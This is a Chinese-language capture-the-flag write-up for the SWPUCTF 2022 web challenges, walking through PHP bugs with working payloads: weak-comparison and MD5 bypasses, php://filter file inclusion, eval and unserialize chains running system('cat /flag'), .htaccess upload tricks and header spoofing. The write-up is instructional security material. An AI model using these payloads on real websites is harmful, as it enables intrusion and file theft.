目录
WEB
1.funny_web
先试试随便填写一点内容,然后显示:用户名是实验室名哦~
得知是 NSS
再次提交后显示:听说密码是招新群某位的QQ
第一时间就想到了我们的谢队的QQ~2122693401
于是进入rea11y.php来到第一道题
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num != '12345') {
if (intval($num) == '12345') {
echo $FLAG;
}
} else {
echo "这为何相等又不相等";
}
}
首先$num != '12345'这里是弱比较
其次还要截断intval()
于是想到了用一些手段 来截断intval()函数
当向intval()传入的参数,不是int时,会返回1
然后手写payload
于是可以写成以下形式
?num=12345/
或者
?num=12345\
等一些符号
最后得到flag,提交。
![](https://nssctf.wdf.ink/img/zack/funny_web.jpg)
2.奇妙的MD5
直接搜索 可曾听过ctf 中一个奇妙的字符串
查到ffifdyop为万能sql注入密码
提交后,转到c0nt1nue.php 按F12查看网页源码
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
-->
这里的md5(\(x) == md5(\)y)为弱比较,随便找两个0e开头的字符串
手写payload并提交
?x=QNKCDZO&y=240610708
转到f1na11y.php
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}
这里直接用数组绕过
手写payload并POST
wqh[]=1&dsy[]=0
最后得到flag
3.where_am_i
根据提示:什么东西是11位啊?
盲猜是手机号之类的
但额外还有一张配图,试试把它丢进某度搜索
依次查找,最后在这篇文章里找到了所在的位置
所以这张图所在地址是锦江区暑袜北一街145号,然后再次利用某度搜索
确定了我们要输入的11位数就是这个电话号码02886112888,提交,得到flag
4.ez_ez_php
先分析一下代码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
这里很明显是要用php伪协议:php://filter
构造payload
?file=php://filter/resource=flag.php
提示real_flag_is_in_'flag'
再次提交payload
?file=php://filter/resource=flag
得到flag
非预期解
复现的时候发现可以直接访问flag
5.webdog1__start
启动靶机显示内容为:
**Do you really reading to start be a web dog? **
DO you think you go here from where?
are you readying to start?
根据暗示,可以猜测是要访问 start.php,果然有内容,但是暂时似乎没有什么可用内容,那先返回看看有没有其它线索。
但是在主页查看网页源代码后会发现有这样一段
<!--
if (isset($_GET['web']))
{
$first=$_GET['web'];
if ($first==md5($first))
-->
搜索到0e215962017的md5值为0e291242476940776845150308577824,那么就提交这个。
但是发现提交后也是跳转到start.php,只能说明和上面的hint是同一条路线。
那就继续看看start.php里面是不是有什么线索漏掉了?
打开Burp,发现响应头里有个hint
尝试访问f14g.php,嗯,被耍了
但是再到Burp里看,这次的hint指向了F1l1l1l1l1lag.php
访问后得到如下代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);
if (strlen($get)>18){
die("This is too long.");
}
else{
eval($get);
}
}else {
die("nonono");
}
}
?>
首先,这里对参数get作了长度限制,并且要过滤掉flag字符串,如果要输入的指令太长,并且还要输入flag,那么就想,能不能让指向另外一个参数呢?
先测试这个想法能不能通过,于是构造如下payload
?get=eval($_GET['A']);&A=die("01234567890123456789我是flag我是flag");
很明显这个长度已经远超18的限制,并且flag字符串也没被过滤掉,那就证明了这个思路是正确的。
那么先尝试查看一下当前目录有什么文件呢,让他执行一下ls
?get=eval($_GET['A']);&A=system('ls');
![web_dog_final_2](D:\CTF Tools\SWPU NSS新生赛 2022\web_images\web_dog_final_2.jpg)
发现一个flag.php,那试试cat flag.php?
?get=eval($_GET['A']);&A=system('cat flag.php');
但是很遗憾,没回显,说明这个flag.php是假的
那么尝试一下搜索查看一下根目录有没有
?get=eval($_GET['A']);&A=system('ls /');
![web_dog_final_4](D:\CTF Tools\SWPU NSS新生赛 2022\web_images\web_dog_final_4.jpg)
发现根目录下有一个flag,现在再尝试用cat /flag
?get=eval($_GET['A']);&A=system('cat /flag');
得到flag,本题结束
6.Ez_upload
先随便传一个文件试试
传不进去,那就打开Burp看看
先把文件内容删除试试,再提交看看
发现成功上传了,那试试传一个phpinfo();
<?php phpinfo();?>
不正确,那先不用php的文件后缀名再试试呢?
这里没有再提示文件后缀名的问题,而是另外一个提示。说明很有可能是过滤了<?的前缀,那就不能用<?php >这种表达方式,于是就换一个,用<script
上传如下语句
<script language="php">phpinfo();</script>
然后就发现上传成功了,打开指定目录下的文件也确实存在这个语句。
但现在问题是,这个文件名后缀是.zm,是不会执行里面的代码的,那么我们就要想办法让它识别成php代码运行起来
这里先引用一下别人写的一个东西
什么是htaccess文件
.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
所以,这里再上传一个.htaccess文件,让它能够把.zm文件识别成.php文件并运行
AddType application/x-httpd-php .zm
成功上传,现在再次访问之前上传的aaa.zm就能运行上传的php代码了,然后找到flag,本题结束。
7.numgame
打开靶机你能发现的第一件事情是,调到20会变成-20(???)
第二件事情是,你会发现按F12打不开开发者工具,鼠标右键菜单也摁不出来
先说第二个事情,因为这个好解决,那就是:除了按F12,你还可以按Shift+Ctrl+I。但很遗憾的是,这样操作并不行,那就直接打开选项菜单启动开发者工具
可能你会觉得不太好看,那这个时候你就可以按Ctrl+U开启全屏浏览体验
可以很清楚地看到,这个网页的脚本是定位在./js/1.js,继续追查得到如下代码
var input = $('input'),
input_val = parseInt(input.val()),
btn_add = $('.add'),
btn_remove = $('.remove');
input.keyup(function() {
input_val = parseInt(input.val())
});
btn_add.click(function(e) {
input_val++;
input.val(input_val);
console.log(input_val);
if(input_val==18){
input_val=-20;
input.val(-20);
}
});
btn_remove.click(function(e) {
input_val--;
input.val(input_val);
});
// NSSCTF{TnNTY1RmLnBocA==}
结尾NSSCTF{TnNTY1RmLnBocA==}用base64解码得到NsScTf.php
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}
首先注意到的是call_user_func()这个函数
但是,要知道php是不区分大小写的,假设在这里传入的是字符串,那字面量没法解析
于是构造payload
?p=Nss::Ctf
得到结果
但是他说是nss2,那就再改
?p=Nss2::Ctf
于是得到flag,本题结束。
8.ez_ez_php(revenge)
与第4题ez_ez_php同理,这里不再多赘述
9.ez_rec
打开靶机:真的什么都没有吗?
直接先御剑一顿乱扫,扫出个robots.txt,打开又指向了/NSS/index.php/
继续,随后是ThinkPHP V5.0(?)
立马想到用个第三方工具来找,我这里用的是ThinkphpGUI By 莲花
先试试用find命令来找一下flag在哪
find / -name flag*
然后一看,那肯定是/nss/ctf/flag/flag
那就直接用cat命令来显示flag就行了
cat /nss/ctf/flag/flag
![ez_rec_GUI_flag](D:\CTF Tools\SWPU NSS新生赛 2022\web_images\ez_rec_GUI_flag.jpg)
得到flag,本题结束。
10.1z_unserialize
启动靶机,网页代码如下
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
分析一下代码,就是一个很简单的序列化
这里lt就是要执行的函数,lly是要传给函数的参数
手写一个payload,先看一下目录里面有些啥
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
回显只有index.php
看来似乎得想别的办法,试试搜索一下flag呢
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:18:"find / -name flag*";}
发现flag在根目录下,那就直接让它显示出来
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
找到flag,本题结束。
11.xff
打开靶机显示Must be accessed from Xiaohong's own computer.
先用hackbar添加X-Forwarded-For到127.0.0.1
返回显示Must be jump from Home Page.
再次利用hackbar添加Referer到127.0.0.1
轻松得到flag
12.js_sign
启动靶机,打开开发者工具发现指向了main.js,打开后分析
document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
if (btoa(flag.value) == 'dGFwY29kZQ==') {
alert("you got hint!!!");
} else {
alert("fuck off !!");
}
})
将dGFwY29kZQ==解码后得到提示:tapcode
网上实在是没找到合适的tapcode解码工具,于是我去找了一张tapcode对照表
按照对照表手动翻译了一遍,得到结果:
NSSCTFYOUFINDFLAGBYTAPCODE
按照平台格式要求,最终flag为NSSCTF{youfindflagbytapcode}
13.ez_ez_unserialize
启动靶机,源码如下
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
根据分析,这道题要绕过__wakeup()
众所周知,当序列化成员数大于实际成员数时,__wakeup()不会执行
于是构造出的payload如下
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
得到flag,提交,本题结束。
14.funny_php
分析代码,看着是挺多的,其实仔细看完会发现是很简单的一道题。
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}
?>
看完后也就是说,要同时满足L1、L2、L3都存在,那就一个一个的分析好了。
先看L1,既要长度小于3,又要数据大于999999999,怎么会有这么奇怪的逻辑判断,不讲武德直接数组绕过
?num[]=0
回显
标签:string,SWPUCTF,int,decode,flag,2022,WP,print,txt From: https://www.cnblogs.com/zackmount/p/16950246.html